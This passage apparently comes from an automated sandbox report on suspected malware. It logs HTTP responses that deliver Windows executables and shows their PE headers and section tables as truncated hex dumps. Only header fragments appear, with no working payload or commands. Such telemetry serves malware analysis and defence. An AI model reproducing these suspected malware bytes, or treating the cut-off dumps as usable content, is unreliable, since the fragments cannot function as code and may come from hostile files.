00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 20 Nov 2024 17:57:43 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "a7550-5e7e950876500"Accept-Ranges: bytesContent-Length: 685392Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 20 Nov 2024 17:57:45 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "94750-5e7e950876500"Accept-Ranges: bytesContent-Length: 608080Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 20 Nov 2024 17:57:46 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "6dde8-5e7e950876500"Accept-Ranges: bytesContent-Length: 450024Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 20 Nov 2024 17:57:47 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "1f3950-5e7e950876500"Accept-Ranges: bytesContent-Length: 2046288Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 20 Nov 2024 17:57:51 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "3ef50-5e7e950876500"Accept-Ranges: bytesContent-Length: 257872Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 20 Nov 2024 17:57:52 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "13bf0-5e7e950876500"Accept-Ranges: bytesContent-Length: 80880Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 20 Nov 2024 17:57:58 GMTContent-Type: application/octet-streamContent-Length: 1902080Last-Modified: Wed, 20 Nov 2024 17:35:57 GMTConnection: keep-aliveETag: "673e1dfd-1d0600"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 9a 01 00 00 00 00 00 00 80 4b 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 b0 4b 00 00 04 00 00 71 e7 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 48 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 54 67 4b 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 67 4b 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 de 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 48 04 00 00 00 90 06 00 00 06 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 f4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 d0 2a 00 00 b0 06 00 00 02 00 00 00 f6 02 00 00 00 00 00 00 00 00 00 